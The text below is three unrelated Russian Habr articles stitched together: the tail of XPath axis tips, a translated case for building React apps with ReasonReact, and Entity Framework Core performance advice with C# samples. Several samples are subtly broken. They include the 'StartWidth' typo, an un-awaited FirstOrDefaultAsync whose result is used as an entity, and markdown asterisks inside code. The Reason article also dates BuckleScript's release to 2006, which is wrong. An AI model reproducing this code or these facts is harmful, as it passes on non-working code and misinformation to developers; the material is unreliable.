Задача: получить атрибут id элемента-«прадеда» foo.
Обычно в таких случаях начинают рисовать лестницы:
`../../../@id`
Такая запись плоха тем, что малопонятна без знания исходного xml. Автор рекомендует в подобных случаях использовать более информативное выражение:
`ancestor::foo[1]/@id`
Эта запись не только даёт представление об искомом элементе, но и продолжает работать даже в том случае, когда текущий элемент изменил своё положение в дереве.
#### descendant
Задача: найти первого потомка foo в текущем элементе.
Когда похожий вопрос был [задан](http://stackoverflow.com/questions/453191/select-first-instance-only-with-xpath/) на сайте StackOverflow.com, два человека тут же ответили `.//foo[1]` и были поддержаны другими участниками. Автору пришлось вмешаться и предупредить о неправильности данного выражения. Правильный ответ: `descendant::foo[1]`, и вот почему.
`.//foo` является короткой формой следующего выражения:
`self::node()/descendant-or-self::node()/child::foo`
Запись `.//foo[1]` означает *все потомки foo, каждый из которых первый foo у своего родителя*. Такое выражение вернёт **два** элемента в следующем документе:
```
```
`descendant::foo[1]` вернёт ровно один элемент.
Это различие описано в документации, но почему-то многие читают её невнимательно. Во избежание ошибок автор рекомендует всегда писать `descendant::foo` вместо `.//foo`, поскольку в подавляющем большинстве случаев именно это и имеется в виду.
#### self
Казалось бы, зачем нужна self, если есть более короткий вариант: `.` (точка). Однако и у этой оси нашлось своё применение.
Задача: получить следующий элемент, если он называется foo.
Очевидное решение:
`following-sibling::*[1][name() = 'foo']`
Более элегантное, на взгляд автора, выражение:
`following-sibling::*[1]/self::foo`
Комментарии и дополнения приветствуются. | https://habr.com/ru/post/52680/ | null | ru | null |
# Разработка React-приложений с использованием ReasonReact
Вы применяете [React](https://reactjs.org/) для создания пользовательских интерфейсов? Автор материала, перевод которого мы публикуем, говорит, что он тоже работает с React. Здесь он хочет рассказать о том, почему для написания React-приложений стоит использовать [ReasonML](https://medium.freecodecamp.org/learn-reasonml-by-building-tic-tac-toe-in-react-334203dd513c).
[](https://habr.com/company/ruvds/blog/424965/)
React — это очень хороший инструмент для разработки интерфейсов. Можно ли сделать его ещё лучше? Для того чтобы улучшить работу с React, сначала надо понять его основные проблемы. В частности, проблему, у истоков которой лежит тот факт, что React — это JavaScript-библиотека.
React и JavaScript
------------------
Если присмотреться к React, то можно заметить, что некоторые из принципов, положенные в основу этой библиотеки, чужды для JavaScript. В частности, мы говорим об иммутабельности, о принципах функционального программирования и о системе типов.
Иммутабельность — это один из базовых принципов React. Мутации свойств компонентов или состояния приложения весьма нежелательны, так как подобное может привести к непредсказуемым последствиям. В JavaScript нет стандартных механизмов для обеспечения иммутабельности. Структуры данных делают иммутабельными либо придерживаясь неких соглашений, либо используя библиотеки наподобие [immutable-js](https://facebook.github.io/immutable-js/).
Библиотека React основана на принципах функционального программирования, так как React-приложения представляют собой композиции функций. Хотя в JavaScript имеются некоторые возможности функционального программирования, такие, как функции первого класса, функциональным языком программирования он не является. Если на JavaScript нужно писать хороший декларативный код, приходится прибегать к сторонним библиотекам вроде [Lodash/fp](https://github.com/lodash/lodash/wiki/FP-Guide) или [Ramda](https://ramdajs.com/).
А что не так с системой типов? В React имеется концепция [PropTypes](https://reactjs.org/docs/typechecking-with-proptypes.html). Её используют для имитации типов в JavaScript, так как этот язык, сам по себе, не является статически типизированным. Для того, чтобы пользоваться в JS выгодами статической типизации, опять же, приходится прибегать к сторонним инструментам, таким, как [Flow](https://flow.org/) и [TypeScript](https://www.typescriptlang.org/).
*Сравнение React и JavaScript*
Как видите, JavaScript не совместим с базовыми принципами React.
Существует ли язык программирования, который лучше JavaScript согласуется с React?
На данный вопрос можно дать положительный ответ. Этот язык — [ReasonML](https://reasonml.github.io/).
В Reason реализована иммутабельность. Так как он основан на [OCaml](https://ocaml.org/), функциональном языке программирования, соответствующие возможности также оказываются встроенными в Reason. В этом языке, кроме того, присутствует собственная система типов, подходящая для React.
*Сравнение React, JavaScript и Reason*
Получается, что Reason совместим с базовыми принципами React.
Reason
------
Reason — это не новый язык. Он представляет собой альтернативный, напоминающий JavaScript, синтаксис и набор инструментов для OCaml — функционального языка программирования, который существует уже более 20 лет. Reason был создан разработчиками из Facebook, которые уже использовали OCaml в своих проектах ([Flow](https://github.com/facebook/flow), [Infer](https://github.com/facebook/infer)).
*OCaml*
С-подобный синтаксис Reason делает OCaml доступным для программистов, которые знакомы с такими распространёнными языками, как JavaScript или Java. Reason даёт разработчику более качественную, в сравнении с OCaml, документацию, вокруг него сложилось постоянно растущее [сообщество](https://reasonml.github.io/docs/en/community) энтузиастов. Кроме того, то, что написано на Reason, несложно интегрировать с существующими JS-проектами.
*Reason*
Основой Reason является OCaml. Reason имеет ту же семантику, что и OCaml, различается лишь синтаксис. Это означает, что Reason даёт возможность писать OCaml-код, используя JavaScript-подобный синтаксис. В результате в распоряжении программиста оказываются такие замечательные возможности OCaml, как строгая система типов и механизм сопоставления с образцом (pattern matching).
Взглянем на фрагмент Reason-кода для того, чтобы ознакомиться с его синтаксисом.
```
let fizzbuzz = (i) =>
switch (i mod 3, i mod 5) {
| (0, 0) => "FizzBuzz"
| (0, _) => "Fizz"
| (_, 0) => "Buzz"
| _ => string_of_int(i)
};
for (i in 1 to 100) {
Js.log(fizzbuzz(i))
};
```
Хотя в этом фрагменте используется механизм сопоставления с образцом, он остаётся весьма похожим на JavaScript.
Единственным языком, который работает в браузерах, является JavaScript, поэтому, для того, чтобы писать для браузеров на каком бы то ни было языке, нам надо компилировать его в JavaScript.
BuckleScript
------------
Одной из интереснейших возможностей Reason можно назвать компилятор BuckleScript, который берёт код, написанный на Reason и преобразует его в читабельный и производительный JS-код, кроме того, неплохо очищая его от неиспользуемых конструкций.
*BuckleScript*
Читабельность результатов работы BuckleScript придётся кстати в том случае, если вы работаете в команде, в которой не все знакомы с Reason. Эти люди, по крайней мере, смогут читать результирующий JS-код.
Код на Reason иногда так похож на JS-код, что компилятору вовсе не нужно его преобразовывать. Благодаря такому положению дел можно наслаждаться благами статической типизации Reason и писать код, выглядящий так, будто он написан на JavaScript.
Вот пример кода, который будет работать и в Reason и в JavaScript:
```
let add = (a, b) => a + b;
add(6, 9);
```
BuckleScript поставляется с четырьмя библиотеками. Это — стандартная библиотека, называемая [Belt](https://bucklescript.github.io/bucklescript/api/Belt.html) ([стандартной библиотеки OCaml](https://discuss.ocaml.org/t/what-is-the-preferable-solution-for-the-role-of-standard-library/1092) тут недостаточно), и привязки для JavaScript, Node.js и для API DOM.
Так как BuckleScript основан на компиляторе OCaml, компиляция оказывается [очень быстрой](https://bucklescript.github.io/docs/en/build-performance) — гораздо быстрее чем у Babel и в несколько раз быстрее чем у TypeScript.
Скомпилируем с помощью BuckleScript вышеприведённый фрагмент Reason-кода, содержащий функцию `fizzbuzz()`, в JavaScript.
*Компиляция Reason-кода в JavaScript с помощью BuckleScript*
Как видите, JS-код оказался вполне читаемым. Выглядит он так, как будто написан человеком.
Программы, написанные на Reason, компилируются не только в JavaScript, но и в нативный код, и в байт-код. В результате, например, можно написать приложение на Reason и запустить его в браузере, на MacOS, на смартфонах, работающих под управлением Android и iOS. Существует игра [Gravitron](https://github.com/jaredly/gravitron), написанная Джаредом Форсайтом на Reason. Её можно запускать на всех вышеупомянутых платформах.
Организация взаимодействия с JavaScript
---------------------------------------
BuckleScript даёт возможность организации [взаимодействия](https://en.wikipedia.org/wiki/Interoperability) Reason и JavaScript. Это означает не только возможность использования рабочего JS-кода в кодовой базе Reason, но и возможность взаимодействия кода, написанного на Reason, с этим JavaScript-кодом. Как результате, код, написанный на Reason, легко поддаётся интеграции в существующие JS-проекты. Более того, в Reason-коде можно использовать JavaScript-пакеты из NPM. Например, можно создать проект, в котором совместно используются Flow, TypeScript и Reason.
Однако всё не так уж и просто. Для того чтобы использовать JavaScript-код или библиотеки в Reason, их сначала надо портировать с использованием привязок (биндингов) Reason. Другими словами, нам, для того, чтобы воспользоваться строгой системой типов Reason, нужны типы для обычного JavaScript-кода.
Если вам нужно воспользоваться какой-нибудь JavaScript-библиотекой в Reason-коде, сначала стоит обратиться к Reason Package Index ([Redex](https://redex.github.io/)) и узнать, была ли эта библиотека уже портирована в Reason. Проект Redex представляет собой каталог библиотек и инструментов, написанных на Reason и JavaScript-библиотек с Reason-привязками. Если вам удалось найти в этом каталоге нужную библиотеку, её можно установить как зависимость и использовать в Reason-приложении.
Если же найти нужную библиотеку не удалось, вам придётся самостоятельно написать биндинги. Если вы только начинаете знакомство с Reason, учтите, что писать биндинги — это задача не для новичка. Это — одна из самых сложных задач, из тех, что приходится решать тем, кто программирует на Reason. На самом деле, это — тема для отдельной статьи.
Если вам нужен лишь некий ограниченный функционал какой-нибудь JavaScript-библиотеки, вам не нужно писать привязки для всей такой библиотеки. Сделать это можно только для необходимых функций или компонентов.
ReasonReact
-----------
В начале материала мы говорили о том, что он посвящён разработке React-приложений с использованием Reason. Заниматься этим можно благодаря библиотеке [ReasonReact](https://reasonml.github.io/reason-react/).
Возможно, сейчас вы думаете: «Мне всё ещё непонятно — почему надо писать React-приложения на Reason». Однако мы уже обсудили основную причину использования связки React и Reason, которая заключается в том, что React лучше совместим с Reason чем с JavaScript. Почему это так? Всё дело в том, что React был создан в расчёте на Reason, или, точнее, в расчёте на OCaml.
Путь к ReasonReact
------------------
Первый прототип React был разработан Facebook и был написан на Standard Meta Language ([StandardML](https://en.wikipedia.org/wiki/Standard_ML)), на языке, который является родственником OCaml. Затем React перевели на OCaml, кроме того, React перенесли на JavaScript. Сделано это было из-за того, что весь веб использовал JavaScript и, вероятно, неразумным было бы делать заявления вроде: «А теперь мы будем писать UI на OCaml». Перевод React на JavaScript себя оправдал и привёл к широкому распространению этой библиотеки.
Как результат, все привыкли воспринимать React в виде JS-библиотеки. React, а также другие библиотеки и языки, такие как [Elm](https://elm-lang.org/), [Redux](https://redux.js.org/), [Recompose](https://github.com/acdlite/recompose), [Ramda](https://ramdajs.com/), и [PureScript](http://www.purescript.org/), способствовали популяризации функционального стиля программирования в JavaScript. А благодаря распространению [Flow](https://flow.org/) и [TypeScript](https://www.typescriptlang.org/) в JavaScript стала популярна и статическая типизация. В итоге парадигма функционального программирования с использованием статических типов стала главенствующей в мире разработки фронтенда.
В 2006 году компания [Bloomberg](https://www.bloomberg.com/company/announcements/open-source-at-bloomberg-introducing-bucklescript/) создала и перевела в разряд опенсорсных проектов компилятор BuckleScript, который преобразует OCaml в JavaScript. Это позволило им писать более качественный и безопасный фронтенд-код, используя строгую систему типов OCaml. Они взяли оптимизированный и очень быстрый компилятор OCaml и заставили его генерировать код на JavaScript.
Популярность функционального программирования и выпуск BuckleScript создали идеальный климат, который позволил Facebook вернуться к исходной идее React — библиотеки, которая изначальна была написана на StandardML.
*ReasonReact*
Они смешали семантику OCaml с синтаксисом JavaScript и создали Reason. Кроме того, они создали Reason-обёртку для React, представленную в виде библиотеки ReasonReact, которая обладает дополнительными функциями, такими, как инкапсуляция принципов Redux в компонентах с состоянием. Сделав это, они вернули React к его [истокам](https://news.ycombinator.com/item?id=15209704).
О возможностях React в Reason
-----------------------------
Когда библиотеку React переводили на JavaScript, возможности языка подгоняли под нужды React за счёт создания различных библиотек и инструментов. Подобный подход, в частности, означает необходимость в большом числе зависимостей для проектов. Уж не будем говорить о том, что подобные библиотеки постоянно развиваются, и в них регулярно происходят изменения, делающие их новые версии несовместимыми со старыми. Как результат, разработчику приходится очень серьёзно и осторожно относиться к обслуживанию библиотек, от которых зависят его проекты.
Это добавляет дополнительный уровень сложности в JavaScript-разработку. Например, типичное React-приложение обычно содержит, как минимум, зависимости, которые можно видеть на следующем рисунке.
*Зависимости типичного React-приложения*
Вот какие задачи решают эти зависимости:
* Статическая типизация — Flow/TypeScript.
* Иммутабельность — ImmutableJS.
* Маршрутизация — ReactRouter.
* Форматирование кода — Prettier.
* Линтинг — ESLint.
* Вспомогательные функции — Ramda/Lodash.
Теперь воспользуемся, вместо React для JavaScript, библиотекой ReasonReact. Нужны ли нам, при таком подходе, все эти зависимости?
*Переход на ReasonReact*
Проанализировав тот же список задач, которые раньше решались с помощью дополнительных средств, мы выясним, что все их можно решить с помощью встроенных средств ReasonReact. Подробности о них вы можете почитать [здесь](https://codinglawyer.net/index.php/2018/09/11/why-am-i-building-stuff-in-reasonml-and-why-should-you/).
В приложении, подготовленном средствами ReasonReact, все эти и многие другие зависимости не нужны. Дело в том, что множество важнейших возможностей, которые упрощают разработку, уже включены в язык. Как результат — упрощается работа с зависимостями, и, по мере роста и развития приложения, эта работа не усложняется.
Всё это оказывается возможным благодаря использованию языка OCaml, которому уже более 20 лет. Это зрелый язык, базовые принципы и механизмы которого проверены временем и стабильны.
Что дальше?
-----------
Если вы родом из мира JavaScript, вам будет несложно начать работу с Reason благодаря тому, что синтаксис этого языка похож на JavaScript. Если вы раньше писали React-приложения, перейти на Reason вам будет ещё легче, так как вы можете, при работе с ReasonReact использовать все свои познания в области React. В основе ReasonReact лежит та же модель мышления, что и в основе React, процесс работы с ними так же очень схож. Это означает, что при переходе на Reason вам не придётся начинать с нуля. Вы разберётесь с Reason в процессе работы.
Лучший способ начать использовать Reason в своих проектах заключается в том, чтобы постепенно вводить в них фрагменты, написанные на Reason. Как уже было сказано, Reason-код можно использовать в JS-проектах, равно как и JS-код в Reason-проектах. Этот подход применим и при использовании ReasonReact. Можно взять ReasonReact-компонент и использовать его в традиционном React-приложении, написанном на JavaScript.
Именно такой вот инкрементальный подход был выбран разработчиками Facebook, которые широко использовали Reason при разработке [мессенджера Facebook](https://reasonml.github.io/blog/2017/09/08/messenger-50-reason.html).
Если вы хотите написать React-приложение с использованием Reason и на практике изучить основы этого языка, взгляните на [этот](https://medium.freecodecamp.org/learn-reasonml-by-building-tic-tac-toe-in-react-334203dd513c) материал, где пошагово разбирается разработка игры «Крестики-нолики».
Итоги
-----
У создателей Reason было два варианта действий. Первый заключался в том, чтобы взять JavaScript и как-то его улучшить. Если бы они избрали этот путь — им пришлось бы иметь дело с историческими недостатками JS.
Они, однако, избрали второй путь, связанный с OCaml. Они взяли OCaml — зрелый язык, обладающий отличной производительностью, и модифицировали его так, чтобы он стал похожим на JavaScript.
React тоже основан на принципах OCaml. Именно поэтому писать React-приложения гораздо легче и приятнее с использованием Reason. Работа с React в Reason предлагает более стабильный и безопасный подход к созданию React-компонентов, так как строгая система типов страхует разработчика и ему не приходится сталкиваться с большинством исторических проблем JavaScript.
**Уважаемые читатели!** А вы пробовали ReasonReact?
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/424965/ | null | ru | null |
# Ускоряемся в Entity Framework Core
#### Не будь жадиной!
При выборке данных выбирать нужно ровно столько сколько нужно за один раз. Никогда не извлекайте все данные из таблицы!
Неправильно:
```
using var ctx = new EFCoreTestContext(optionsBuilder.Options);
// Мы возвращаем колонку ID с сервера, но никогда не используем и это неправильно!
ctx.FederalDistricts.Select(x=> new { x.ID, x.Name, x.ShortName }).ToList();
```
Правильно:
```
using var ctx = new EFCoreTestContext(optionsBuilder.Options);
// Мы не возвращаем колонку ID с сервера и это правильно!
ctx.FederalDistricts.Select(x=> new { x.Name, x.ShortName }).ToList();
ctx.FederalDistricts.Select(x => new MyClass { Name = x.Name, ShortName = x.ShortName }).ToList();
```
Неправильно:
```
var blogs = context.Blog.ToList(); // Тут вы скопировали ВСЮ таблицу в память. Зачем?
// Чтобы выбрать лишь некоторые записи?
var somePost = blogs.FirstOrDefault(x=>x.Title.StartWidth(“Hello world!”));
```
Правильно:
```
var somePost = context.Blog.FirstOrDefault(x=>x.Title.StartWidth(“Hello world!”));
```
Встроенная проверка данных может быть выполнена, когда запрос вернул какие-то записи.
Неправильно:
```
var blogs = context.Blogs.Where(blog => StandardizeUrl(blog.Url).Contains("dotnet")).ToList();
public static string StandardizeUrl(string url)
{
url = url.ToLower();
if (!url.StartsWith("http://"))
{
url = string.Concat("http://", url);
}
return url;
}
```
Правильно:
```
var blogs = context.Blogs.AsEnumerable().Where(blog => StandardizeUrl(blog.Url).Contains("dotnet")).ToList();
//Еще правильней так
var blogs = context.Blogs.Where(blog => blog.Contains("dotnet"))
.OrderByDescending(blog => blog.Rating)
.Select(blog => new
{
Id = blog.BlogId,
Url = StandardizeUrl(blog.Url)
})
.ToList();
```
Вау, вау, вау, разогнался.
Самое время немного освежить знания по методам LINQ.
#### Давайте рассмотрим отличия между *ToList* **AsEnumerable** AsQueryable
Итак, *ToList*
* Выполняет запрос немедленно.
* Используйте *.ToList()* для форсирования получения данных и выхода из режима поздней загрузки (lazy loading), так что этот метод полезен перед тем как вы пройдетесь по данным.
*AsEnumerable*
* Выполнение с задержкой (lazy loading)
* Принимает параметр: *Func*
* Загружает каждую запись в память приложения и управляет фильтрует его (в том числе **Where/Take/Skip** приведут к тому, что, например запрос select \* from Table1,
* загрузит результирующий набор в память, затем выберет первые N элементов)
* В этом случает отрабатывает схема: *Linq-to-SQL + Linq-to-Object*.
* Используйте *IEnumerable* для получения списка из базы данных в режиме поздней загрузки (lazy loading).
*AsQueryable*
* Выполнение с задержкой (lazy loading)
* [Может быть перезагружен:](https://docs.microsoft.com/ru-ru/dotnet/api/system.linq.queryable.asqueryable?view=netframework-4.8#System_Linq_Queryable_AsQueryable__1_System_Collections_Generic_IEnumerable___0__)
```
AsQueryable(IEnumerable) или AsQueryable(IEnumerable)
```
* Преобразует Expression в T-SQL (с учетом специфики провайдера), удаленное исполняет запрос и возвращает результат в память приложения.
* Вот почему DbSet (в Entity Framework) также наследуется от AsQueryable чтобы получать эффективные запросы.
* Не загружает каждую запись, например если **Take(5)** это сгенерирует запрос вида **«select top 5 \* SQL»** в фоновом режиме. Это означает, что этот подход более дружественный для SQL базы данных, и дает более скоростной результат.Так что *AsQueryable()* обычно работает быстрее, чем *AsEnumerable()* так как сначала генерирует T-SQL включающий в себя все условия Linq определённые вами.
* Используйте *AsQueryable* если хотите запрос к базе данных который может быть улучшен перед запуском на стороне сервера.
Пример использования AsQueryable в простейшеем случае:
```
public IEnumerable GetEmails(out int totalRecords, Guid? deviceWorkGroupID,
DateTime? timeStart, DateTime? timeEnd, string search, int? confirmStateID, int? stateTypeID, int? limitOffset, int? limitRowCount, string orderBy, bool desc)
{
var r = new List();
using (var db = new GJobEntities())
{
var query = db.Emails.AsQueryable();
if (timeStart != null && timeEnd != null)
{
query = query.Where(p => p.Created >= timeStart && p.Created <= timeEnd);
}
if (stateTypeID != null && stateTypeID > -1)
{
query = query.Where(p => p.EmailStates.OrderByDescending(x => x.AtTime).FirstOrDefault().EmailStateTypeID == stateTypeID);
}
if (confirmStateID != null && confirmStateID > -1)
{
var boolValue = confirmStateID == 1 ? true : false;
query = query.Where(p => p.IsConfirmed == boolValue);
}
if (!string.IsNullOrEmpty(search))
{
search = search.ToLower();
query = query.Where(p => (p.Subject + " " + p.CopiesEmails + " " + p.ToEmails + " " + p.FromEmail + " " + p.Body)
.ToLower().Contains(search));
}
if (deviceWorkGroupID != Guid.Empty)
{
query = query.Where(x => x.SCEmails.FirstOrDefault().SupportCall.Device.DeviceWorkGroupDevices.FirstOrDefault(p => p.DeviceWorkGroupID == deviceWorkGroupID) != null);
}
totalRecords = query.Count();
query = query.OrderByDescending(p => p.Created);
if (limitOffset.HasValue)
{
query = query.Skip(limitOffset.Value).Take(limitRowCount.Value);
}
var items = query.ToList(); // Получаем все отфильтрованные записи
foreach (var item in items)
{
var n = new EmailView
{
ID = item.ID,
SentTime = item.SentTime,
IsConfirmed = item.IsConfirmed,
Number = item.Number,
Subject = item.Subject,
IsDeleted = item.IsDeleted,
ToEmails = item.ToEmails,
Created = item.Created,
CopiesEmails = item.CopiesEmails,
FromEmail = item.FromEmail,
};
// Другой код для заполнения класса-представления
r.Add(n);
}
}
return r;
}
```
#### Волшебство простого чтения
Если вам не нужно менять данные, только отобразить используйте *.AsNoTracking()* метод.
*Медленная выборка*
```
var blogs = context.Blogs.ToList();
```
*Быстрая выборка (только на чтение)*
```
var blogs = context.Blogs.AsNoTracking().ToList();
```
Чувствую, вы немного уже размялись?
#### Типы загрузки связанных данных
Для тех, кто забыл, что такое *lazy loading*.
Ленивая загрузка *(Lazy loading)* означает, что связанные данные прозрачно загружаются из базы данных при обращении к свойству навигации. Подробнее читаем [тут](https://docs.microsoft.com/en-us/ef/core/querying/related-data) .
И заодно, напомню о других типах загрузки связанных данных.
Активная загрузка *(Eager loading)* означает, что связанные данные загружаются из базы данных как часть первоначального запроса.
```
using (var context = new BloggingContext())
{
var blogs = context.Blogs
.Include(blog => blog.Posts)
.ThenInclude(post => post.Author)
.ThenInclude(author => author.Photo)
.Include(blog => blog.Owner)
.ThenInclude(owner => owner.Photo)
.ToList();
}
```
Внимание! Начиная с версии EF Core 3.0.0, каждое Include будет вызывать добавление дополнительного *JOIN* к запросам SQL, создаваемым реляционными поставщиками, тогда как предыдущие версии генерировали дополнительные запросы SQL. Это может значительно изменить производительность ваших запросов, в лучшую или в худшую сторону. В частности, запросы LINQ с чрезвычайно большим числом операторов включения могут быть разбиты на несколько отдельных запросов LINQ.
Явная загрузка *(Explicit loading)* означает, что связанные данные явно загружаются из базы данных позднее.
```
using (var context = new BloggingContext())
{
var blog = context.Blogs
.Single(b => b.BlogId == 1);
var goodPosts = context.Entry(blog)
.Collection(b => b.Posts)
.Query()
.Where(p => p.Rating > 3)
.ToList();
}
```
Рывок и прорыв! Двигаемся дальше?
#### Готовы ускориться еще больше?
Чтобы резко ускориться при выборке сложно структурированных и даже ненормализованных данных из реляционной базы данных есть два способа сделать это: используйте индексированные представления (1) или что еще лучше – предварительно подготовленные(вычисленные) данные в простой плоской форме для отображения (2).
(1) **Индексированное представление** в контексте MS SQL Server
Индексированное представление имеет уникальный кластеризованный индекс. Уникальный кластерный индекс хранится в SQL Server и обновляется, как и любой другой кластерный индекс. Индексированное представление является более значительным по сравнению со стандартными представлениями, которые включают сложную обработку большого количества строк, например, агрегирование большого количества данных или объединение множества строк.
Если на такие представления часто ссылаются в запросах, мы можем повысить производительность, создав уникальный кластеризованный индекс для представления. Для стандартного представления набор результатов не сохраняется в базе данных, вместо этого набор результатов вычисляется для каждого запроса, но в случае кластеризованного индекса набор результатов сохраняется в базе данных точно так же, как таблица с кластеризованным индексом. Запросы, которые специально не используют индексированное представление, могут даже выиграть от существования кластеризованного индекса из представления.
Представление индекса имеет определенную стоимость в виде производительности. Если мы создаем индексированное представление, каждый раз, когда мы изменяем данные в базовых таблицах, SQL Server должен поддерживать не только записи индекса в этих таблицах, но также и записи индекса в представлении. В редакциях SQL Server для разработчиков и предприятий оптимизатор может использовать индексы представлений для оптимизации запросов, которые не указывают индексированное представление. Однако в других выпусках SQL Server запрос должен включать индексированное представление и указывать подсказку NOEXPAND, чтобы получить преимущество от индекса в представлении.
(2) Если нужно сделать запрос, требующий отображения более трех уровней связанных таблиц в количестве три и более c повышенной **CRUD** нагрузкой, лучшим способом будет задуматься о том, чтобы периодически вычислять результирующий набор, сохранять его в таблице и использовать для отображения. Результирующая таблица, в которой будут сохраняться данные должна иметь **Primary Key и индексы по полям поиска в LINQ**.
#### Что насчет асинхронности?
Да! Используем ее где только можно! Вот пример:
```
public void Do()
{
var myTask = GetFederalDistrictsAsync ();
foreach (var item in myTask.Result)
{
//Ваш код
}
}
public async Task> GetFederalDistrictsAsync()
{
var conn = configurationRoot.GetConnectionString("EFCoreTestContext");
optionsBuilder.UseSqlServer(conn);
using var context = new EFCoreTestContext(optionsBuilder.Options);
return await context.FederalDistricts.ToListAsync();
}
```
И да, ничего не забыли для повышения производительности? Бууум!
```
return await context.FederalDistricts.**AsNoTracking()**.ToListAsync();
```
Внимание: метод **Do()** добавлен для демонстрационных целей только, с целью указать работоспособность метода **GetFederalDistrictsAsync()**. Как правильно заметили мои коллеги тутнужен другой пример чистой асинхронности.
И давайте я его приведу на основе понятия [компонента представления в ASP .NET Core](https://docs.microsoft.com/ru-ru/aspnet/core/mvc/views/view-components?view=aspnetcore-3.1):
```
// Класс компонента
public class PopularPosts : ViewComponent
{
private readonly IStatsRepository _statsRepository;
public PopularPosts(IStatsRepository statsRepository)
{
_statsRepository = statsRepository;
}
public async Task InvokeAsync()
{
// Вызов нашего метода без изменений из выделенного репозитория бизнес-логики
var federalDistricts = await \_statsRepository.GetFederalDistrictsAsync();
var model = new TablePageModel()
{
FederalDistricts = federalDistricts,
};
return View(model);
}
}
// Далее
///
/// Интерфейс бизнес-логики для получения хммм.... чего-либо
///
public interface IStatsRepository
{
///
/// Получение списка федеральных округов и их субъектов федерации
///
///
IEnumerable FederalDistricts();
///
/// Получение списка федеральных округов и их субъектов федерации
/// Асинхронно!!!
///
///
Task> GetFederalDistrictsAsync();
}
///
/// Бизнес-логика для получения хммм.... чего-либо
///
public class StatsRepository : IStatsRepository
{
private readonly DbContextOptionsBuilder
optionsBuilder = new DbContextOptionsBuilder();
private readonly IConfigurationRoot configurationRoot;
public StatsRepository()
{
IConfigurationBuilder configurationBuilder = new ConfigurationBuilder()
.SetBasePath(Environment.CurrentDirectory)
.AddJsonFile("appsettings.json", optional: true, reloadOnChange: true);
configurationRoot = configurationBuilder.Build();
}
public async Task> GetFederalDistrictsAsync()
{
var conn = configurationRoot.GetConnectionString("EFCoreTestContext");
optionsBuilder.UseSqlServer(conn);
using var context = new EFCoreTestContext(optionsBuilder.Options);
return await context.FederalDistricts.Include(x => x.FederalSubjects).ToListAsync();
}
public IEnumerable FederalDistricts()
{
var conn = configurationRoot.GetConnectionString("EFCoreTestContext");
optionsBuilder.UseSqlServer(conn);
using var ctx = new EFCoreTestContext(optionsBuilder.Options);
return ctx.FederalDistricts.Include(x => x.FederalSubjects).ToList();
}
}
// Вызов компонента происходит в данном примере на странице Home\Index
@await Component.InvokeAsync("PopularPosts")
// А собственно HTML с моделю по пути Shared\Components\PopularPosts\Default.cshtml
```
Напомню, когда выполняются запросы в Entity Framework Core.
При вызове операторов LINQ вы просто создаете представление запроса в памяти. Запрос отправляется в базу данных только после обработки результатов.
Ниже приведены наиболее распространенные операции, которые приводят к отправке запроса в базу данных.
* Итерация результатов в цикле for.
* Использование оператора, например ToList, ToArray, Single, Count.
* Привязка данных результатов запроса к пользовательскому интерфейсу.
#### Как же организовать код EF Core с точки зрения архитектуры приложения?
(1) C точки зрения архитектуры приложения, нужно обеспечить чтобы код доступа к вашей базе данных был изолирован / отделен в четко определенном месте (в изоляции). Это позволяет найти код базы данных, который влияет на производительность.
(2) Не смешивать код доступа к вашей базе данных с другими частями приложения, такими как пользовательский интерфейс или API. Таким образом, код доступа к базе данных можно изменить, не беспокоясь о других проблемах, не связанных с базой данных.
#### Как правильно и быстро сохранять данные с помощью *SaveChanges*?
Если вставляемые записи одинаковые имеет смысл использовать одну операцию сохранения на все записи.
*Неправильно*
```
using(var db = new NorthwindEntities())
{
var transaction = db.Database.BeginTransaction();
try
{
// Вставка записи 1
var obj1 = new Customer();
obj1.CustomerID = "ABCDE";
obj1.CompanyName = "Company 1";
obj1.Country = "USA";
db.Customers.Add(obj1);
//Сохраняем первую запись db.SaveChanges();
// Вставка записи 2
var obj2 = new Customer();
obj2.CustomerID = "PQRST";
obj2.CompanyName = "Company 2";
obj2.Country = "USA";
db.Customers.Add(obj2);
// Сохраняем вторую запись
db.SaveChanges();
transaction.Commit();
}
catch
{
transaction.Rollback();
}
}
```
*Правильно*
```
using(var db = new NorthwindEntities())
{
var transaction = db.Database.BeginTransaction();
try
{
//Вставка записи 1
var obj1 = new Customer();
obj1.CustomerID = "ABCDE";
obj1.CompanyName = "Company 1";
obj1.Country = "USA";
db.Customers.Add(obj1);
// Вставка записи 2
var obj2 = new Customer();
obj2.CustomerID = "PQRST";
obj2.CompanyName = "Company 2";
obj2.Country = "USA";
db.Customers.Add(obj2);
// Сохранение двух или N записей
db.SaveChanges();
transaction.Commit();
}
catch
{
transaction.Rollback();
}
}
```
Всегда есть исключения из правила. Если контекст транзакции сложный, то есть состоит из нескольких независимых операций, то можно выполнять сохранение после выполнения каждой операции. А еще правильней использовать асинхронное сохранение в транзакции.
```
// Увеличение депозита его владельца
public async Task AddDepositToHousehold(int householdId, DepositRequestModel model)
{
using (var transaction = await Context.Database.BeginTransactionAsync(IsolationLevel.Snapshot))
{
try
{
// Добавить депозит в БД
var deposit = this.Mapper.Map(model);
await this.Context.Deposits.AddAsync(deposit);
await this.Context.SaveChangesAsync();
// Оплатить задолжности с депозита
var debtsToPay = await this.Context.Debts.Where(d => d.HouseholdId == householdId && !d.IsPaid).OrderBy(d => d.DateMade).ToListAsync();
debtsToPay.ForEach(d => d.IsPaid = true);
await this.Context.SaveChangesAsync();
// Увеличение баланса владельца
var household = this.Context.Households.FirstOrDefaultAsync(h => h.Id == householdId);
household.Balance += model.DepositAmount;
await this.Context.SaveChangesAsync();
transaction.Commit();
return this.Ok();
}
catch
{
transaction.Rollback();
return this.BadRequest();
}
}
}
```
#### Триггеры, вычисляемые поля, пользовательские функции и EF Core
Для снижения нагрузки на приложения содержащим EF Core имеет смысл применять простые вычисляемые поля и триггеры баз данных, но лучше этим не увлекаться, так как приложение может оказаться очень запутанным. А вот пользовательские функции могут быть очень полезны особенно при операциях выборки!
#### Параллелизм в EF Core
Если ты хочешь все запараллелить чтобы ускориться, то обломись: EF Core не поддерживает выполнение нескольких параллельных операций в одном экземпляре контекста. Следует подождать завершения одной операции, прежде чем запускать следующую. Для этого обычно нужно указать ключевое слово await в каждой асинхронной операции.
EF Core использует асинхронные запросы, которые позволяют избежать блокирования потока при выполнении запроса в базе данных. Асинхронные запросы важны для обеспечения быстрого отклика пользовательского интерфейса в толстых клиентах. Они могут также увеличить пропускную способность в веб-приложении, где можно высвободить поток для обработки других запросов. Вот пример:
```
public async Task> GetBlogsAsync()
{
using (var context = new BloggingContext())
{
return await context.Blogs.ToListAsync();
}
}
```
#### А что вы знаете про компилированные запросы LINQ?
